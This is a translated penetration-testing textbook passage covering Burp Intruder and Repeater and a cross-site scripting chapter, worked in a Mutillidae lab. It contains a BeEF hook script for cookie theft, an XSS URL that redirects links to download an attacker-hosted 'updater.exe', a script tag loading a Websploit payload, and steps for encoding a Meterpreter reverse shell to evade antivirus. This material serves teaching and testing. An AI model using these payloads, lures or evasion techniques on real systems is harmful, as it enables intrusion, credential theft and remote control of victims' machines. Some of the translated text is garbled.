如果我们使用入侵者来列举单个字段,最常见的是用户名或帐户 ID,那么这个过程就非常简单。我将尝试访问 Mutillidae 的登录页面(如下图所示),看看我们能否找出可以挖掘出的用户名。我会随便填一些胡言乱语,只是为了触发 Burp 代理中的请求/响应对(拦截已打开),除非我非常幸运,否则会收到帐户不存在的消息。
在这些字段中,任何东西都可以开始,我们只需要看到请求!
在**代理
选项卡和HTTP 历史
子选项卡中,我可以看到我的请求
,包括我在点击发送之前填写的胡言乱语。我可以右键单击此请求(如下图所示)并单击发送到 Intruder
**进行严肃的列举功夫:
让我们将此请求发送到 Intruder 进行列举的精彩表现。
我们应该看到**Intruder
选项卡的名称变成橙色-这意味着一个新的 Intruder 请求已经排队准备好行动!在第一个选项卡(未显示)中,我们可以看到服务器的 IP 地址和端口已经填好。转到位置
子选项卡,您将选择狙击手模式
;然后清除所有字段(Intruder,尽管可能很有帮助,但是想要自愿猜测所有的位置),然后只选择用户名的胡言乱语,然后点击添加
**,如下面的截图所示。您会注意到,您添加的任何字段现在都会在每个位置的开头和结尾添加§
(asdf
现在读作§asdf§
),并用橙色突出显示。如果我们要尝试对漏洞扫描进行模糊测试,我们将选择一个适合的位置(类似于 cookie 信息、POST 页面名称等)。这将给我们一个位置,我们可以对其应用有效负载。如果我们想要暴力破解凭据,我们可以添加第二个字段(密码),从而有两个位置可以应用有效负载。相当聪明,对吧?
那么,这个模式到底是什么意思呢?嗯,这里是一个快速摘要:
-
Sniper:**使用单一的有效负载集,Intruder 依次插入每个位置,并报告结果。这对于简单的猜测游戏或单一字段的关注非常有用。
-
Battering ram:**这使用单一的有效负载集,但同时将相同的有效负载应用到多个字段。这是我们在处理某些头部位置(如 cookies)时的首选模式。
-
Pitchfork:**稍后的模糊攻击可能会让我们拥有相关信息,但需要同时将匹配的集合应用到多个字段。Pitchfork 允许我们将这些匹配的集合(如凭据对、用户名和 ID 号等)发送到它们各自的字段。
-
Cluster bomb:**与 Pitchfork 不同,cluster bomb 在每个相关字段的所有组合中迭代多个有效负载集。因此,如果您需要尝试一个用户名与一个 ID 列表,以及另一个与所有这些相同的 ID,那么这就是适合您的模式!
有效负载位置确定了我们希望 Intruder 进行模糊测试的区域
现在,我们可以按照下面的截图进入**有效负载
子选项卡,这样我们就可以决定如何在每个请求中改变每个位置。从字段类型的下拉列表中,我们会选择简单列表
,然后我们可以从从列表中添加
**下拉菜单中选择用户名。关于这些的更多信息可以在portswigger.net/burp/help/intruder_payloads_types.html
的出色 Burp Suite 文档中找到。
在密码或用户名模糊测试中,社会工程学和 OSINT 可以为您节省大量时间,而不是使用密码列表。
有效负载可以生成,从文件中提取,或手动输入。
现在,我们将看到所有这些的结果。结果
选项卡将显示每次迭代的情况,可以根据有效负载本身进行排序,但最有用的是根据状态类型(标准 web 状态)或响应的长度进行排序,这两者都可以帮助识别任何我们应该更仔细查看的奇怪行为。下面截图中的示例显示用户列表相当平淡,这意味着我们需要寻找非标准的用户名或创建更复杂或定制的列表来枚举用户。
在这次 Intruder 运行中,只有一个事件突出显示出来-这是开始探索的好地方!
选择,攻击,突出显示,然后重复!
本章我们将讨论的最后一个工具是 Burp Suite 的**Repeater
**工具,其中 Intruder 允许您专注于一个或多个字段并应用特定的有效负载集。Repeater 更专注于应用字段修改以进行输入验证检查,甚至可以以不同顺序重放请求以测试业务逻辑。
Repeater 是套件中其他工具的很好的补充工具,就像其他工具一样,可以通过右键单击并选择**发送到 Repeater
选项来调用,这将自动产生一个Repeater
**任务选项卡(查看下面的屏幕截图)并预先配置所有基本设置。
Repeater 允许我们对我们捕获的请求进行操作。
一旦我们得到了我们的消息,我们就可以决定如何修改每次迭代中的任何或所有字段,然后修改这些部署的顺序,如下面的屏幕截图所示。
Repeater 给了我们精细的控制,可以按任何顺序排队任何组合的变量。
Repeater 实际上非常简单。但是,制定我们自己的事件重放的能力将在以后的基于业务逻辑的攻击中非常有帮助,我们将在后面的章节中讨论这些内容。
摘要
OWASP 的 ZAP 工具和 Burp Suite 构成了许多 Web 应用程序安全测试方法的主体,原因是充分的。基于代理的工具能够观察客户端和服务器之间的交易,而不必担心丢失会话信息的上下文。代理因此可以做外部分析无法做到的事情,即看到应用程序的端到端工作。当我们看到攻击者通常如何破坏或利用现代应用程序时,他们使用相同的技术来捕获来回的数据或插入自己的恶意意图。ZAP 和 Burp 为我们提供了一种方式来预防 MITM 方法,并全面测试应用程序抵御这些攻击。
在本章中,我们介绍了这两个软件包中使用的一些更通用的工具。我希望这种对基础的投资将帮助我们在后面的章节中实际完成许多更高级的任务,而不必重复这里介绍的基础知识。对于练习渗透测试人员来说,最好的方法就是练习。利用空间中许多可用的易受攻击的目标虚拟机,您可以解决问题,并确定哪些工具最适合您的风格和流程。
在下一章中,我们将实际上深入了解我们的第一个专注攻击的细节-跨站脚本(或XSS)。我们还将讨论各种形式的 XSS,它们的目标以及它们最适用的地方。我们还将看到如何使用 Burp 和一些补充工具如BeEF,XSSer,Webslpoit和Metasploit执行这些攻击。可以合理地假设我们将做一些有趣的事情,所以紧紧抓住!
第六章:通过跨站脚本攻击渗透会话
Web 应用程序的黑客攻击是一种独特的类别。虽然与网络和系统相关的黑客攻击侧重于在这些系统上获得持久存在或以其他方式修改它们的状态,但 Web 渗透测试侧重于愚弄服务器、客户端或两者以执行攻击者的命令。当然,你可以尝试攻击这些服务器或者妥协客户端或浏览器,但如果你可以在不建立永久住所的情况下从交换中得到你想要的一切,为什么不呢?注入攻击让许多 Web 开发人员非常紧张,就像对 Web 应用程序的绝地心灵攻击一样。通过挥动你的手(不是字面上的,实际上只是键盘上的一些努力),你可以说服服务器、客户端或两者以一种它们本来不会的方式行动。这可能是为了放弃数据(正如人们相信在 Impact Team 的 Ashley Madison 黑客攻击中发生的那样)或者用恶意脚本毒害一方或双方,违背客户端和服务器之间的信任。
跨站脚本(它可以缩写为CSS或XSS,但我们将使用后者以避免将此攻击与层叠样式表混淆)是你们许多人可能在实践中或通过自动化工具进行测试的一个非常深入的主题,但它是一个非常深入的主题,可能需要一本专门的书来证明。作为更广泛的注入攻击的子集,XSS 侧重于在不应该出现的地方使用 JavaScript。与广泛操纵劫持的请求和响应不同,XSS 在其中找到了插入秘密脚本的空间,否则这些脚本将无法着陆和执行。这些脚本现在对我们的目标和他们的用户来说是可信的,因为他们对彼此的信任,我们将利用这种信任关系来对付他们。
这些脚本的目的可以大不相同,但许多用途包括暴露 cookie 和会话信息,允许重定向和中间人攻击,劫持一个或两个端点进行其他攻击,甚至促进敏感数据的外泄。这些特征使它们极为危险,尽管它们在过去几个周期的 OWASP 十大中排名很高,但它们仍然是一个主要问题。
XSS 有许多应用,但在本章中,我们将区分 XSS 的类型,并提供一些关于如何在测试中最好地释放它们的选项。虽然 Burp 和 ZAP 可以提供一些 XSS 攻击,但了解如何制作我们自己的攻击并使用 Kali 中其他可用的工具来帮助传递它们是有帮助的。本章将讨论各种形式的 XSS,并展示我们可以使用这种强大的攻击形式来妥协我们的目标的其他方法。
在本章中,您将学到以下内容:
-
讨论各种形式的 XSS,如何检测它们的漏洞并利用它们
-
探索存储(也称为持久性)XSS 攻击的工作原理以及如何利用它们
-
使用社会工程技术理解和测试反射XSS
-
讨论其他工具的功能,如 BeEF、XSSer、Websploit 和 Metasploit,以及它们处理每种 XSS 攻击的能力
XSS 类型的详细信息
XSS 攻击既常见又严重;在合适的地方,它们可以用于传递恶意脚本,将流量引导到替代重定向,或植入错误数据。对它们进行分类的努力为我们一些人增加了困惑。最早的分类侧重于其持久性(或缺乏持久性),但随着时间的推移,行业已经关注受影响的主机:Web 服务器或浏览客户端。OWASP 已经做了很好的工作,重新定义了这些类型,以帮助我们(渗透测试人员)为每种类型选择最佳的检测方法和利用工具。将它们联系在一起的共同点是它们都涉及用户输入被服务器中继而没有得到适当验证,这些攻击总是在浏览器中执行,无论传递方法如何。让我们回顾一下最新的分类,以便能够有效地使用它们。
XSS 应该留下还是离开?
XSS 攻击,无论发生在哪里,都可以是存储型或反射型。根据意图和受影响会话的上下文,两者都可能从恼人到严重严重不等:
- 存储型 XSS 攻击(持久性)非常常见,攻击者伪装成合法用户的数据在呈现给其他用户之前未经适当筛选。这段代码将持续存在,直到被检测到、数据被清除,或者在 Web 服务上实施预防措施,以确保包含该代码的响应得到适当验证。实际上,该代码存储在服务器本身,如下所示:
存储型 XSS 将攻击查看请求页面的任何客户端。
- 反射型 XSS 攻击(也称为非持久性)更加多样化,可以通过网络钓鱼活动、社会工程、中间人攻击或其他方式发起。无意中的用户通过点击带有脚本的恶意链接来发起攻击。攻击者精心制作他们的脚本,使其在受攻击的 Web 服务器的错误或搜索响应中返回或反射。因为攻击者说服用户点击嵌入脚本的链接,他们知道它将在响应中反射;可怜的客户端浏览器现在将信任该脚本,就好像它是从服务器本身发起的一样。实际上,受害者的浏览器发起了请求,如下截图所示:
反射型或非持久性 XSS 往往更专注于一组用户。
位置,位置和位置!
我们区分 XSS 类型的第二种方法是通过位置。检测方法和防御对策可以根据被攻击的连接的哪一端而大不相同:客户端还是服务器:
-
服务器 XSS 攻击可能发生在服务器在响应客户端请求时提供恶意内容的情况下,因为在最初由另一个客户端输入时未经充分过滤或验证。这些攻击对客户端来说可能很困难,因为服务器将攻击与其 HTML 捆绑在一起,客户端的浏览器无法区分服务器的修改行为,因此忠实地呈现它,信任既定的又是植入的恶意代码。
-
另一方面,客户端 XSS 攻击侧重于在客户端自身设施内传递恶意代码或修改。其中最流行的形式是 DOM-based XSS,它针对浏览器中页面的状态机。大多数时候,当我们谈论客户端 XSS 时,我们指的是 DOM-based XSS。DOM-based XSS 攻击是客户端 XSS 的一个子集,它们利用了动态 Web 应用程序设计。在大多数现代 Web 应用程序中,浏览器在访问网站时会构建一个可以将 HTML 解析为树状对象的文档对象模型(DOM)。这种解析允许脚本语言(大多数时候我们在这里谈论 JavaScript,但其他 Web 内容如 HTML、ActiveX 和 Flash 也适用)动态修改表示树的 HTML 内容。DOM-based XSS 攻击尤其令人担忧,因为服务器可能永远不会在脚本中看到任何明显的问题。相反,服务器在不知情的情况下通过引用受害者本地的变量来帮助攻击者,而不知道这个变量是一些坏东西(比如重定向、挂钩文件等)。
注意
值得注意的是,服务器端和客户端 XSS 攻击都可以是存储型或反射型攻击。大多数值得携带的工具应该能够帮助扫描和利用大多数变种。
XSS 的目标和交付
XSS 对 Web 应用程序及其用户构成的威胁是如此严重,但实施起来却非常容易。在大多数情况下,攻击者只需要了解 HTML 和 JavaScript 的基本知识,以及一个容易受到这种攻击形式影响的目标 Web 服务器。利用这些技能,黑客可以选择要覆盖的范围有多大。我们必须警惕所有形式的注入攻击,包括 XSS,因为它们都可能在事件响应开始修复这些问题之前对应用程序造成严重破坏。
对于存储型 XSS,黑客可以覆盖范围更广,影响大量用户的恶意脚本。如果应用程序的潜在用户主要在范围内,这是很好的,而且攻击更加直接,因为不需要社会工程来植入脚本。也就是说,正因为这些原因,存储型 XSS 必须谨慎使用。没有选择哪些受害者会报告,因此攻击者需要更多的开销来区分范围内和范围外的受害者。更广泛的潜在受众也对道德黑客的适用性提出了质疑,因为从附带受损主机中捕获数据的潜力非常高,客户可能会有需要解决的担忧。这使得存储型或持久型 XSS 攻击对许多人造成了严重伤害。
反射型 XSS 在前期投入的努力是非常值得的,因为钓鱼活动、有污染的链接或其他交付手段更精确,因此限制了附带损害。这也使黑客或测试人员能够专注于受影响的目标集,并几乎可以保证收集到的数据来自感兴趣的用户。虽然受害者的潜在损害与存储型 XSS 攻击相当,但受害者是有意的,因此这使得它更安全,也更值得投入努力。
眼见为实
在向客户报告网页应用程序漏洞存在时,大多数测试报告将显示扫描结果,仅识别漏洞可能存在(识别),还会进一步展示漏洞利用成功的确认(确认)。Arachni、ZAP、Burp Suite 和其他漏洞评估工具可以帮助进行识别。其中一些工具可以协助确认,但大多数测试人员会使用独立的 XSS 工具或方法来确认,以模仿黑客利用漏洞时的行为。快速搜索您喜爱的搜索引擎会发现一些领先的候选者,但我们将讨论最受欢迎的候选者,然后看看这些老牌工具如何帮助我们对目标进行测试。
不要使用 XSSer!
在 Kali 中用于 XSS 测试的最快速、直接的工具之一是 XSSer(有时发音为“scissor”)。作为一种工具,XSSer 只有一个功能,那就是测试网页应用程序上潜在 XSS 漏洞的存在,并提供快速、无争议的验证 URL 字符串来检查它们。XSSer 是那种可以让您以最少的知识获得强大功能的稀有工具;但在经验丰富的人手中,它可以被精确地定制。
您可以将 XSSer 用作 CLI 工具,也可以使用其 GUI 包装器,这是一种通过更直观的包装器构建 CLI 查询的好方法。要在 GUI 模式下使用 XSSer,您只需在终端会话中输入以下内容:
xsser �gtk
XSSer 是一个用于运行针对网站的普通基于警报的测试脚本的良好工具,以确定它们的易受攻击性。话虽如此,我发现 XSSer 自从 2013 年发布最新版本以来就备受忽视,而这篇文章的撰写时间则是四年前,而且 Metasploit 也经历了几次修订。事实上,最新版本更适用于 Backtrack,但仍然提供了有用的向导和一些教育价值。然而,针对特定目标,我发现与更现代的工具相比,它既存在 bug 又应用受限。它值得一看,但我建议集中精力研究一些更全面的工具,比如 BeEF 和 Metasploit。
BeEF 中的存储型 XSS
浏览器利用框架(BeEF,网址为beefproject.com
)是我们在《使用树莓派进行渗透测试,第二版》中讨论过的工具,我们在那里讨论了它作为蜜罐或恶意网络服务器的一般用途。这些相同的功能使 BeEF 成为传递和随后管理各种 XSS 攻击的绝佳工具。BeEF 之所以强大,是因为它利用互联网浏览器中的单个钩子脚本进行攻击,由于 Web 服务器中的 XSS 漏洞,它可以规避大多数更偏执或训练有素的受害者采用的控制。除了完全阻止各种 HTML 数据类型之外,一个完美配置的客户端仍然可以运行,因为攻击者利用的是受害者的信任关系。
BeEF 在钩住受害者后,能够评估浏览器和操作系统组合的固有漏洞。根据这些发现,BeEF 提供了一系列可以启动的命令模块,例如截取屏幕截图、抓取凭据或外泄 cookie,甚至触发蜂鸣声。被钩住的系统只能在在线时访问。但是,一旦被钩住,BeEF 可以跟踪系统何时建立互联网连接,以继续对该系统发出命令。非常巧妙,也非常可怕!
为了展示这一点并帮助理解存储型 XSS 攻击的威力,我们将使用 BeEF 钩子脚本并将客户端指向我们 Kali 机器上的 BeEF 实例。下图显示了我们的测试场景,其中配置了以下内容:
-
攻击者的机器:Kali 虚拟机正在运行一个 BeEF 服务器,监听所有接口(172.16.30.128 是外部 IP 地址)
-
Web 服务器/应用程序:OWASP BWA 虚拟机,特别是 Mutillidae Web 应用程序
-
客户端:运行 Internet Explorer 10 的 Windows 7 虚拟机(评估副本)
攻击者可以在被钩住的受害者继续使用互联网的同时,从 Kali/BeEF 控制端远程执行命令模块,通常对被攻击者毫不知情。在实际攻击或黑盒攻击中,黑客往往会部署一个临时的 Kali 或类似的机器实例,并将其伪装在几层混淆(VPN、TOR、代理等)之后,以充当攻击机器,并使目标服务器上的归因或检测更加困难。无论攻击机器的位置如何,在存储型 XSS 中,易受攻击的服务器将继续帮助我们钩住我们的猎物。
我们的 BeEF 存储型 XSS 场景
我们可以首先从 GUI 应用程序菜单、**Favorites
栏或通过导航到 BeEF 目录(cd /usr/share/beef-xss
)然后使用./beef
运行beef
脚本来启动 BeEF-XSS。当它启动时,Terminal
**会话将向我们显示用户界面的一般 URL(红色的UI URL
)和我们想要用来钩住猎物的脚本(蓝色的Hook
),如下所示:
BeEF 的启动过程告诉我们如何管理实例以及如何钩住浏览器。
BeEF 将自动启动一个浏览器会话,您可以使用beef的用户名和密码登录。当它首次启动时,在线和离线浏览器列表将为空。我们将打开一个新标签并以攻击者的身份访问Mutillidae Web Application,在那里我们可以在一个肯定会被可怜的受害者看到的字段中输入我们的钩子脚本(OWASP 2013
| A3 - 跨站脚本(XSS)
| 持久(二次顺序)
| 添加到您的博客
),如下所示:
Mutillidae 提供了一些我们可以用于存储型 XSS 的模拟表单。
我们将看到一个博客条目表单,在其中我们可以放置我们的钩子脚本(<script src="img/hook.js"></script>
),然后点击**Save Blog Entry
**按钮(如下图所示):
在 Web 应用的博客功能上种植我们的钩子脚本。
好的,让我们换个角色,打开我们那可怜的、毫无戒备的运行 IE 10 的 Windows 7 虚拟机!在 Windows 虚拟机上,我们将作为观察者访问博客 - 这里没有什么疯狂的。只需按照**OWASP 2013
** | A3 - 跨站脚本(XSS)
| 持久(二次顺序)
| **查看某人的博客
**的路径,如下图所示,我们将要查看所有用户的输入。页面将显示我们所有的条目,包括我们匿名用户的包含脚本的输入。我们知道博客页面是易受攻击的,因为我们在第五章中看到它被识别为潜在的具有 XSS 脚本漏洞的测试(如下图所示)。在这里,我们知道服务器在将这些条目回显给后续受害者的响应之前没有验证这些条目的内容。
从受害者网站浏览受影响的博客。
一旦我们导航到博客视图(如下图所示),我们将看到一个空白空间,匿名用户显然没有输入任何内容。此时,他们没有理由相信自己已经被黑客入侵或者暴露于恶意的 XSS 攻击。
所有那些被浪费的潜力(脚本隐藏)都在一个非常棒的博客中。
我们的 Kali 盒子知道得更多;查看我们的 BeEF-XSS 框架的控制 UI,我们可以看到运行 IE 10 的 Windows 7 盒子已经签到并报到。因为浏览器在宣布它们可以和不能支持的方面非常有帮助,BeEF 对于我们刚刚钩住的受害者可以实现哪些黑客和技巧有一个很好的想法,在下面的截图中,我们看到我已经搜索了与cookie相关的命令,从**Module Tree
的Browser
** | Hooked Domain
部分中选择了Get Cookie
,并运行它以获取受害者浏览器和 Mutillidae Web 服务器之间正在使用的会话 Cookie。除了证明存在 XSS 漏洞之外,我们还可以使用其他有用的攻击,这些攻击可以帮助我们抓取社交媒体登录状态、安装的软件、浏览历史以及其他任何可以帮助我们更好地描述目标环境的东西。
BeEF 附带了近 200 个模块,帮助我们将浏览器变成我们的扩展!
请记住,我们来这里是为了对 Web 应用进行渗透测试,而不是用户和整个环境。除非您还有红队类型的宪章,否则请避免在任何 Web 应用程序特定数据之外拉取任何内容。
这里,鱼鱼!
反射型 XSS 攻击遵循类似的故事,只是用户被雇用来通过欺骗他们传递脚本来帮助自己进行黑客攻击。攻击者的钓鱼或链接放置取代了基于表单的利用,确实需要一些工作。钓鱼涉及向潜在目标发送一个诱饵电子邮件或网页,希望他们相信他们的意图,并单击其中一个嵌入其中的恶意链接。钓鱼通常可以用于其他攻击(简单地重定向到钓鱼网站仍然非常流行),但将有针对性的垃圾邮件与使用合法站点的重定向结合起来,但使用恶意脚本,可能会非常恶劣。话虽如此,让我们讨论一些攻击者和我们渗透测试人员需要考虑的内容。
构建目标列表可能需要大量工作;事实上,目标列表是暗网黑客网站上的一项热门服务。在渗透测试中,使用诸如浏览器、Maltego 或社交媒体等工具进行 OSINT 和社会工程可以挽救一天,让我们能够利用收集到的信息来帮助我们评估我们追踪的是谁。在我们的测试中,应该考虑 IT 人员,所谓的C-suite高管(特别是首席信息官(CIO)、首席信息安全官(CISO)和任何其他与安全、运营、架构或应用开发相关的技术职位),以及与站点相关的任何其他人员。
注意
像俄罗斯黑客 2014 年对in.yahoo.com/?p=us
进行的大规模黑客攻击(www.justice.gov/opa/press-release/file/948201/download
)通常始于对已知员工的小规模钓鱼攻击,以及他们收到电子邮件的可信原因。在这种情况下,这些信息被用来帮助伪造 Cookie 并窃取超过 5 亿个帐户的访问权限。这对我们中的许多人来说并不好玩。
攻击者随后需要一个愿意的邮件中继或服务器,以允许将诱饵大规模发送给他们的目标。有一些服务是供雇佣的坏人使用的(例如,臭名昭著的垃圾邮件发送服务,如 Send-Safe),或者他们可能选择在合法基础设施上部署垃圾邮件机器人,或者更糟糕的是,攻击一个 Web 服务器,并将其变成基于 PHP 的电子邮件服务器或网关。最后一种方法特别恶劣,因为如果他们能够攻击目标公司的网络邮件服务,他们可以像完全合法一样运作。
现在,我们只需要诱饵!通过链接进行基于钓鱼的交付有助于限制不需要的目标获取,并且比其他引诱反射型 XSS 的方法(例如蜜罐网站和 MITM(使用 SET 等工具,见第三章*,通过目标侦察跟踪猎物))更容易脱离归因和附带损害。下面的截图显示了一个示例:
用于测试员工的样本钓饵。这里的每个链接都有可能被污染。
注意
页面或电子邮件中的超链接、图形或任何交互式内容都可能成为有用的诱饵,当攻击特定的人或团队时,您在社交媒体上的努力将对您的成功率产生巨大影响。
让我们开始 Metasploiting
到目前为止,我们在本书中使用的许多工具都专注于 Web 应用程序,并且在评估网站可能存在的漏洞方面非常有用。在所有渗透测试领域中使用的更通用的工具之一,Metasploit (www.metasploit.com
),实际上提供了一些针对许多顶级 Web 应用程序漏洞的测试的巨大价值,包括 XSS。Metasploit 可能不需要介绍;很有可能您正在将其作为工作流程或方法论的重要部分。也就是说,它是一个框架,包含各种可扩展的侦察和扫描模块,用于填充主机和相应漏洞的数据库。这个数据库允许 Metasploit 进入利用阶段,其中可以主动启动利用或在某些情况下将其捆绑到用于基于文件的传递的有效载荷中。围绕 Metasploit 的社区非常活跃,实际上已经制作了数百个插件和模块,使 Metasploit 成为每个人最喜欢的基础渗透测试工具。
构建您自己的有效载荷
在您的设备上使用 BeEF 甚至标准的 Web 服务器设施,您可以使用 Metasploit 的meterpreter功能来帮助您获得对受影响主机的 shell 访问权限。Meterpreter 是 Metasploit 可以传递到客户端的有效载荷,它可以在动态链接库(DLLs)中工作,以建立安全的隐秘通道,用于黑客与目标之间的通信;它为黑客提供了一个基于 Ruby 的 shell,可以用来执行黑客的命令。我们为什么要这样做?在攻击 Web 应用程序时,通过客户端环境的横向移动可以帮助我们真正获得立足点,compromise 受信任的主机,并找到我们可以用来运行补充任务的相邻服务器,比如邮件服务器,域控制器等。反射型 XSS 攻击是传递此脚本的绝佳方式。用户现在对附件非常警惕(花了他们很长时间!),因此将我们的 hook 文件和有效载荷混入一个不可见的脚本中,为我们提供了一个很好的方式来访问经过良好训练的受害者计算机。
为了做到这一点,我们将创建一个有效载荷,对其进行编码,以绕过传统的安全防御,将其托管在我们控制下的服务器上,然后围绕它编写一个脚本,用于 XSS,如下面截图所示。在这里同样适用社会工程学方法,但这给了我们另一种方式来 compromise 主机。浏览器控制很好,但 shell 访问更好!
我们可以使用 Metasploit 作为我们的 C2 头端,甚至制作自定义有效载荷。
我们首先启动 Metasploit Framework 的msfconsole,并选择我们选择的有效载荷,这种情况下是 Meterpreter Reverse TCP 有效载荷。我们可以通过在msf
提示符中输入use payload/windows/shell/reverse_tcp
命令来实现这一点。**quick show
**选项将帮助我们查看可以配置的内容,如下面的截图所示。与一般的利用一样,我们可以使用show options
查看有效载荷的选项,并使用-h
查看命令,以指导我们完成整个操作:
创建有效载荷的初始阶段-设置选项…
Metasploit 可以为攻击生成不同的文件格式。它还可以确保某些字节不被使用(x00
是一个普遍不可接受的字节,所以我们会将其去掉)。有效载荷工具还可以执行以下操作:
-
它可以填充或附加额外的字节(
-s
添加 NOP 滑块) -
它可以使用除默认的 Ruby 之外的其他编程语言(例如
-t java
或-t c
) -
它可以应用编码器(显示编码器以查看它们,
-e <编码器>
更改编码器) -
它可以迭代并编码多次(
-I <迭代次数>
)
所有这些都帮助 Metasploit 隐藏和模糊有效载荷,以成功逃避典型基于签名的反病毒程序。看到这是多么容易,人们就能理解为什么传统的防病毒产品无法抵御这些新的、变形的威胁。
注意
签名检测寻找攻击中的特定特征。如果发现您的攻击不起作用,请尝试以另一种方式对其进行编码,然后再次发送。在许多情况下,添加足够的填充、调整或其他操作将绕过检测,因为现在它看起来像一个新文件。其他技术包括将文件分成较小的文件或加密。
我们有很多选项可以修改和定制我们自己的有效载荷。现在,让我们省略x00
字节,迭代 3 次,并将其导出为一个可执行文件供我们使用,如下图所示。
Metasploit 有效载荷生成可以定制代码,可以练习绕过任何东西。
在我们的桌面上,现在有一个闪亮的新**.exe**,它将在 Windows 平台上运行并执行。现在社会工程学就派上用场了,这意味着我们可以将这个可执行文件命名为用户期望安装的内容,并将其包含在社会工程活动中。如果我们能说服 Windows 用户安装它,我们将获得对该系统的具有根访问权限的后门,假设一切都按预期运行。这个概念对于本章后面呈现的其他攻击示例可能会有用,我们的自定义恶意软件有效载荷可以发挥作用。
注意
我们选择交付方式故意平淡,取决于您打算的目标上的限制,您可能不得不放弃整洁的可执行方法,而选择更隐秘的路径,比如一个 Java 或 Python 脚本,以某种方式避免触发 Windows用户访问控制(UAC)或其他可能存在的看门狗。我也在 msfconsole 视图中完成了所有这些操作,因为我倾向于在那里花更多的时间。如果您发现自己启动 Metasploit 是为了创建有效载荷,您可以选择使用msfvenom。
每个良好的有效载荷都需要一个处理程序
我们的有效载荷在执行时需要有东西可以交流,以防它感到孤独或难以控制。在 Metasploit 中,这个功能由处理程序提供。我们可以简单地为我们传递的有效载荷类型创建一个处理程序,这样做可以确保当我们访问系统时,我们在那里并且能够利用它。处理程序充当我们与目标的命令和控制(C2或C&C)连接,并为我们提供一个可以无限制地操纵目标的 shell 环境(如下图所示):
为我们的有效载荷设置处理程序。
通过快速的exploit
命令,我们现在正在运行并准备接受来自我们新受害者的流量。现在,处理程序已经准备好,您的目标已经确定;这两个孩子应该见面了!现在,如果我有办法让用户相信我的文件就好了。嗯…
敲定交易-提供 shell 访问
让我们将可执行文件放在 Kali VM 上一个快速而简单的 Apache web 服务器的默认文件夹中,并制作一个脚本发送给潜在目标,以传递一个反射的 XSS JavaScript,现在将受害者的浏览器指向下载可执行文件。
这就是它的样子:
http://172.16.30.129/mutillidae/index.php?page=user-info.php&username= <script>window.onload = function() {var AllLinks=document.getElementsByTagName("a"); AllLinks[0].href = "http://172.16.30.128/updater.exe"; }</script>
当我们将这个快速而肮脏的电子邮件发送到我的 Windows 7 虚拟机上,我们可以假设用户有超过 50%的机会看到updater.exe
文件名,并将其与我信任的网络应用程序相关联,然后执行。在我们的 Kali 终端会话中观察到这一情况,我们得到了一个好消息,他们已经相遇并且现在联系上了!Meterpreter 现在作为我们的提示符,一个快速的dir
命令显示了我们正在运行的目录的内容(如下图所示)。很明显,我们现在已经进入了 Windows 机器的内部;但是我们可以从这里做些什么呢?
恭喜,我们现在有了远程 shell 访问!
Meterpreter 非常强大;有了这个访问权限,你现在可以在不被对方知晓的情况下管理受害者的计算机。以下是在我们的网络应用程序渗透测试中可能有用的一些东西:
-
转储哈希并操纵或窃取 cookie
-
秘密或公开地使用系统网络摄像头和麦克风
-
进行键盘记录
-
上传、下载、编辑、删除、创建、移动和搜索文件和目录
-
杀死或生成进程,修改注册表,或关闭/重新启动/休眠机器
-
查看网络和代理配置并配置端口转发
-
查看系统和用户信息并提升权限
总的来说,这是一些可怕的东西,应该清楚地认识到网络应用程序有责任确保他们不会让他们的用户陷入这种境地。
如果我们遇到更新的浏览器或者更加防御严密的主机,这种简单的基于 exe 的利用可能不会有太大作用。通过更高级的 Metasploit 功能、创造性的有效负载,甚至是无文件利用的熟练使用,这些防御措施通常可以被规避。
Metasploit 的以网络为焦点的表亲——Websploit
Metasploit 的扫描和利用能力范围令人震惊,通过插件和模块的开放扩展,它获得了当之无愧的多功能和强大的声誉。然而,有时你可能在寻找一个网络应用程序的焦点,这就是一个名为Websploit(sourceforge.net/p/websploit/wiki/Home/
)的类似开源框架发挥作用的地方。就像 Metasploit 一样,它提供了一个以命令行为重点的方法来调用和加载模块。它还共享了通过插件和模块的可扩展性,这些都帮助 Metasploit 保持在渗透测试工具的前沿,但它不是一个全包套件,它专注于我们作为网络渗透测试人员和道德黑客所特有的许多漏洞。
从他们的 Wiki 中列出的模块和插件清单可以很清楚地看出它的目的:
-
Autopwn:这是从 Metasploit 借来的,用于扫描和利用目标服务/服务器
-
wmap:这可以扫描或爬取从 Metasploit
wmap
插件借来的目标 -
格式感染器:将反向和 BIND 有效负载注入文件格式
-
Phpmyadmin:搜索目标的
phpmyadmin
登录页面 -
lfi:这可以扫描和绕过本地文件包含漏洞并绕过一些 WAF
-
Apache 用户:可以搜索服务器用户名目录(与 Apache web 服务器一起使用时)
-
Dir Bruter:使用单词列表对目标目录进行暴力破解
-
管理员查找器:搜索目标的管理员和登录页面
-
MLITM 攻击:中间人攻击,XSS 钓鱼攻击
-
MITM:中间人攻击
-
Java 小程序攻击:Java 签名小程序攻击
-
MFOD 攻击向量:毁灭之中指攻击向量
-
USB 感染攻击:为 Windows 创建可执行的后门以感染 USB
-
ARP DOS:随机 MAC 的 ARP 缓存拒绝服务攻击
-
Web killer 攻击:关闭网络上的网站(TCPKILL)
-
假更新攻击:可以为目标操作系统创建一个假的更新页面
-
假接入点攻击:可以创建假的接入点并窃取受害者的信息
由于本章主要讨论 XSS,DOM-based Man Left in the Middle (MLITM)攻击是我们要使用的工具,所以让我们看看如何利用这个模块。您需要下载最新版本,从 tarball 中提取出来,然后使用安装脚本。
一旦我们安装好了,我们可以简单地从终端会话中调用websploit
命令,它就会启动 Websploit。从这里,我们将使用 network/mlitm。就模块而言,MLITM 工具再简单不过了。没有需要考虑的选项,因为基本上这个模块包括一个监听 Web 服务器(类似于处理程序)和一个充当默认有效载荷的 Python 模块(thebiz.py
)。您当然可以制作其他有效载荷;但就像任何 XSS 攻击一样,我们的目标是将一个脚本放在用户信任的路径中,然后使用它将他们的浏览器重定向到我们的攻击服务器,从那里可以安装这个有效载荷并进行信息或操作的编排。
我在这次攻击中使用的脚本非常简单;我们希望将受害者浏览器引入我们的 C2 服务器/攻击盒,并允许运行在默认端口8000
上的 Web 服务器 Websploit 传递有效载荷并建立我们的通道:
<script src=http://172.16.30.128:8000></script>
我们将其放在之前使用过的相同博客条目字段上,然后在您知道之前,我们就有了一个不幸的受害者使用了那个链接(如下面的截图所示):
脚本输入和受害者的外观 - 简单而有效。
在我们的 Kali 盒子上,我们可以看到我们正在传递有效载荷,并通过引用链接看到用户的流量,正如我们在下面的截图中开始看到的那样。从这里,您可以随意尝试有效载荷的修改,并实现其他工具中所见的一些控制。
Websploit 提供了一个简单而有效的监听和有效载荷传递服务。
